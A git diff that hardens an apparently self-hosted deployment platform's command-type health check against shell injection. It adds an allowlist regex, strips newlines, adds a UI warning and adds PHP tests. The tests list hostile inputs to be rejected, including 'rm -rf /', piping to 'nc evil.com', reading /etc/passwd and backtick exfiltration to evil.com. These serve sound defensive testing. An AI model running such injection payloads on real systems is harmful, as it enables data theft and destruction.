diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index be74cd1fb..b4d8d9204 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -2758,9 +2758,10 @@ private function generate_healthcheck_commands()
     {
         // Handle CMD type healthcheck
         if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) {
-            $this->full_healthcheck_url = $this->application->health_check_command;
+            $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command);
+            $this->full_healthcheck_url = $command;
 
-            return $this->application->health_check_command;
+            return $command;
         }
 
         // HTTP type healthcheck (default)
diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php
index 3460b6c2c..0d5d71b45 100644
--- a/app/Livewire/Project/Shared/HealthChecks.php
+++ b/app/Livewire/Project/Shared/HealthChecks.php
@@ -19,7 +19,7 @@ class HealthChecks extends Component
     #[Validate(['string', 'in:http,cmd'])]
     public string $healthCheckType = 'http';
 
-    #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string'])]
+    #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])]
     public ?string $healthCheckCommand = null;
 
     #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])]
@@ -61,7 +61,7 @@ class HealthChecks extends Component
     protected $rules = [
         'healthCheckEnabled' => 'boolean',
         'healthCheckType' => 'string|in:http,cmd',
-        'healthCheckCommand' => 'nullable|string',
+        'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'],
         'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'],
         'healthCheckPort' => 'nullable|integer|min:1|max:65535',
         'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'],
diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php
index c181f3f1a..8662b0b50 100644
--- a/resources/views/livewire/project/shared/health-checks.blade.php
+++ b/resources/views/livewire/project/shared/health-checks.blade.php
@@ -52,11 +52,14 @@
             </div>
         @else
             {{-- CMD Healthcheck Fields --}}
+            <x-callout type="warning" title="Caution">
+                <p>This command runs inside the container on every health check interval. Shell operators (;, |, &amp;, $, &gt;, &lt;) are not allowed.</p>
+            </x-callout>
             <div class="flex flex-col gap-2">
-                <x-forms.textarea canGate="update" :canResource="$resource" id="healthCheckCommand"
+                <x-forms.input canGate="update" :canResource="$resource" id="healthCheckCommand"
                     label="Command"
-                    placeholder="Example: pg_isready -U postgres&#10;Example: redis-cli ping&#10;Example: curl -f http://localhost:8080/health"
-                    helper="The command to run inside the container. It should exit with code 0 on success and non-zero on failure."
+                    placeholder="pg_isready -U postgres"
+                    helper="A simple command to run inside the container. Must exit with code 0 on success. Shell operators like ;, |, &&, $() are not allowed."
                     :required="$healthCheckType === 'cmd'" />
             </div>
         @endif
diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php
new file mode 100644
index 000000000..038f3000e
--- /dev/null
+++ b/tests/Feature/CmdHealthCheckValidationTest.php
@@ -0,0 +1,90 @@
+<?php
+
+use Illuminate\Support\Facades\Validator;
+
+$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
+
+it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => str_repeat('a', 1001)],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => 'pg_isready -U postgres'],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => null],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => $command],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeFalse();
+})->with([
+    'pg_isready -U postgres',
+    'redis-cli ping',
+    'curl -f http://localhost:8080/health',
+    'wget -q -O- http://localhost/health',
+    'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+    $validator = Validator::make(
+        ['healthCheckCommand' => $command],
+        ['healthCheckCommand' => $commandRules]
+    );
+
+    expect($validator->fails())->toBeTrue();
+})->with([
+    'pg_isready; rm -rf /',
+    'redis-cli ping | nc evil.com 1234',
+    'curl http://localhost && curl http://evil.com',
+    'echo $(whoami)',
+    'cat /etc/passwd > /tmp/out',
+    'curl `whoami`.evil.com',
+    'cmd & background',
+    'echo "hello"',
+    "echo 'hello'",
+    'test < /etc/passwd',
+    'bash -c {echo,pwned}',
+    'curl http://evil.com#comment',
+    'echo $HOME',
+    "cmd\twith\ttabs",
+    "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+    $validator = Validator::make(
+        ['healthCheckType' => 'exec'],
+        ['healthCheckType' => 'string|in:http,cmd']
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+    $validator = Validator::make(
+        ['healthCheckType' => $type],
+        ['healthCheckType' => 'string|in:http,cmd']
+    );
+
+    expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
index 87a7c3709..9bfc046b0 100644
--- a/tests/Unit/HealthCheckCommandInjectionTest.php
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -165,12 +165,69 @@
     expect($validator->fails())->toBeFalse();
 });
 
+it('generates CMD healthcheck command directly', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => 'pg_isready -U postgres',
+    ]);
+
+    expect($result)->toBe('pg_isready -U postgres');
+});
+
+it('strips newlines from CMD healthcheck command', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => "redis-cli ping\n&& echo pwned",
+    ]);
+
+    expect($result)->not->toContain("\n")
+        ->and($result)->toBe('redis-cli ping && echo pwned');
+});
+
+it('falls back to HTTP healthcheck when CMD type has empty command', function () {
+    $result = callGenerateHealthcheckCommands([
+        'health_check_type' => 'cmd',
+        'health_check_command' => '',
+    ]);
+
+    // Should fall through to HTTP path
+    expect($result)->toContain('curl -s -X');
+});
+
+it('validates healthCheckCommand rejects strings over 1000 characters', function () {
+    $rules = [
+        'healthCheckCommand' => 'nullable|string|max:1000',
+    ];
+
+    $validator = Validator::make(
+        ['healthCheckCommand' => str_repeat('a', 1001)],
+        $rules
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('validates healthCheckCommand accepts strings under 1000 characters', function () {
+    $rules = [
+        'healthCheckCommand' => 'nullable|string|max:1000',
+    ];
+
+    $validator = Validator::make(
+        ['healthCheckCommand' => 'pg_isready -U postgres'],
+        $rules
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
 /**
  * Helper: Invokes the private generate_healthcheck_commands() method via reflection.
  */
 function callGenerateHealthcheckCommands(array $overrides = []): string
 {
     $defaults = [
+        'health_check_type' => 'http',
+        'health_check_command' => null,
         'health_check_method' => 'GET',
         'health_check_scheme' => 'http',
         'health_check_host' => 'localhost',
@@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
     $values = array_merge($defaults, $overrides);
 
     $application = Mockery::mock(Application::class)->makePartial();
+    $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
+    $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
     $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
     $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
     $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);